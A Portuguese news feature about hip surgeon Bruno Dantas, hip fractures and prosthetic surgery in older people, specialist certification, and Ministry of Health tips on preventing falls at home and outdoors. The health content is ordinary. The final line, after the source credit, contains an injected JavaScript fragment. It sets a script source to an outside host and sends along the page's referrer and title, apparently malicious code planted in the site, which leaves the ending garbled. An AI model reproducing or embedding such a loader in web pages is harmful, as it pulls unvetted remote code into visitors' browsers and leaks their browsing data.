Alívio do paciente é prêmio

O médico ortopedista Bruno Dantas faz, por semana, uma ou duas operações em idosos com fratura no quadril. Especialista em cirurgia de quadril, o médico insiste com seus pacientes a respeito da prevenção, lembrando-os de que eles podem evitar esse tipo de sofrimento. Para isso, devem tomar medidas preventivas, já que quase todos são vítimas de quedas. E normalmente tombos previsíveis dentro de casa. “Digo sempre: o senhor ou a senhora não pode cair”, conta Bruno.

Quebrar essa parte do corpo é comum entre indivíduos acima dos 60 anos de idade, cujos ossos ficam enfraquecidos (osteoporose). Muitas das precauções já são conhecidas por causa de campanhas, como as feitas pelo Ministério da Saúde. Por exemplo, usar piso antiderrapante no banheiro.

Alívio – Bruno Dantas diz que se apaixonou pela Ortopedia quando estudava o quinto ano de Medicina, ao presenciar uma cirurgia num cotovelo. Depois, escolheu sua área definitiva. “Cirurgia do quadril é muito bom para o paciente”, afirma. Ele refere-se ao alívio que presencia ao acompanhar pessoas que sofrem muitos anos com dores porque há enfermidade que surge com o decorrer do tempo, como artrose.

O médico conta que nunca se esqueceu da primeira cirurgia que fez. Era de um cidadão que sofreu mais dez anos com dores intensas. “Faz tão bem ao paciente, que operamos um lado e ele se esquece logo de todo o procedimento. A ausência da dor o faz querer operar logo o outro lado”, exemplifica. Dr. Bruno atua numa subespecialização da Medicina, uma evolução que, de acordo com ele, beneficia todos os pacientes.

Agressividade – A cirurgia de quadril é agressiva – usa-se serra, martelo etc. – e é considerada de grande porte, por demorar de 2h a 2h30, para colocação de prótese, que atualmente chega a durar entre 20 e 30 anos, o dobro da duração das peças usadas até pouco tempo atrás. Elas são dispensadas quando se trata de artrose, por exemplo, que tem tratamento conservador, à base de medicamentos, com exceção dos casos em que apenas remédios não resolvem mais.

Bruno Dantas lida com pessoas de 70, 80 e até 90 anos de idade. Precisa ter sensibilidade para explicar aos familiares as vantagens de uma cirurgia de grande porte como esta. Ele costuma alegar que nada se compara a uma vida com conforto e que não autorizar a operação significa desistir do pai, da mãe ou do parente. A situação é tão sensível que há casos de indivíduos que se recusam a caminhar depois, com medo de cair de novo. Aí, entra o trabalho de psicólogos.

 

Especialização minuciosa é evolução

Especialista em quadril existe porque houve evolução com o desenvolvimento de especialidades, acabando com a figura do médico que diagnostica qualquer enfermidade. Elas são mais de 50, de acordo com a Associação Médica Brasileira. E de cada uma delas surgiram várias subespecialidades.

Médicos como Bruno Dantas precisam estudar graduação de seis anos, mais residência em Ortopedia e Traumatologia (treinamento de três anos), completando com curso de especialização de um ano em cirurgia do quadril. A Sociedade Brasileira de Quadril (SBQ) tem critérios rígidos para novos membros.

O médico deve ser aprovado na avaliação oficial da sociedade (conhecimentos teóricos e práticos) e ter realizado treinamento em cirurgia de quadril em serviço credenciado, além de comprovar atividades acadêmico-científicas na área, detalha a própria SBQ.

“A Sociedade Brasileira de Quadril certifica-se da qualidade dos centros de treinamento e tem atividade permanente na educação continuada dos já especialistas em quadril. Portanto, escolher um especialista da SBQ é a segurança de estar selecionando um profissional qualificado”, informa a entidade.

Dicas para idosos

O que provoca quedas

– Doenças que afetam a visão e dificultam o caminhar;
– Ambientes com pouca iluminação;
– Escadas sem corrimão, sinalização e piso escorregadio;
– Cadeiras, camas e vasos sanitários muito baixos e sem apoio para sentar e levantar;
– Banheiros sem barras de apoio;
– Obstáculos no caminho, como móveis baixos e fios, presença de animais domésticos; e
– Bengalas ou andadores com ponteiras danificadas;
Como prevenir tombos (Vale para todas as idades)

Em casa

Na sala

  • Preferir tapetes emborrachados e que não escorreguem;
  • Deixar espaço livre para caminhar;
  • Cuidado especial com os tropeços em animais domésticos;
  • Pedir ajuda para retirar do caminho fios ou extensões elétricas e objetos espalhados no chão;
  • Procurar sentar em sofás e cadeiras altas e firmes, e em poltronas com braço;
  • Evitar escadas sem corrimão ou com degraus estreitos; e
  • Utilizar fitas antiderrapantes nos degraus para não escorregar.

No quarto

  • Ajustar a altura da cama e, se preciso, trocar o colchão por um mais firme para que se evite dificuldade ao levantar ou deitar;
  • Manter o quarto iluminado, principalmente à noite, quando houver circulação pela casa;
  • Utilizar calçados de salto baixo e com solado que não escorregue; e
  • Evitar armários muito altos que necessitem de bancos ou escadas para alcançar objetos.

No banheiro

  • Instalar barras de segurança nos banheiros e utilizar tapetes emborrachados e que não escorreguem; e
  • Para se proteger de quedas, utilizar cadeira de plástico firme e resistente para tomar banho.

Na rua

  • Prestar mais atenção quando estiver andar em lugares que não conhece ou mal iluminados;
  • Atravessar a rua somente na faixa de pedestre e prestar atenção ao sinal;
  • Atenção com o piso das calçadas; e
  • Observar o meio-fio quando for subir ou descer as calçadas.

 

Fonte: Ministério da Saúdes.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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